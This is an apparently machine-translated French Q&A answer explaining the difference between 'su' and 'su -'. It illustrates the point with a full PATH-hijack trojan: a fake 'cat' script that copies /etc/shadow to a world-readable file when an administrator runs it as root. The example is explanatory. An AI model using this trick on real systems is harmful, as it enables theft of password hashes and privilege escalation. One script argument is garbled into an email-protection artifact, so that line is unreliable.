Je ne comprends pas pourquoi su -
est préféré à su
pour vous connecter en tant que root.
Réponse acceptée :
su -
appelle un shell de connexion après avoir changé d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.
su
change simplement d'utilisateur, fournissant un shell normal avec un environnement presque identique à celui de l'ancien utilisateur.
Imaginez, vous êtes un développeur de logiciels avec un accès utilisateur normal à une machine et votre administrateur ignorant ne vous donnera tout simplement pas un accès root. Allons (espérons-le) le piéger.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Maintenant, vous demandez à votre administrateur pourquoi vous ne pouvez pas cat
le fichier factice dans votre dossier personnel, cela ne fonctionnera tout simplement pas !
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Si votre administrateur n'est pas très intelligent ou juste un peu paresseux, il peut venir à votre bureau et essayer avec ses pouvoirs de super-utilisateur :
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Ouah! Merci, super administrateur !
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Il, il.
Vous avez peut-être remarqué que le $PATH
corrompu la variable n'a pas été réinitialisée. Cela ne serait pas arrivé si l'administrateur avait appelé su -
à la place.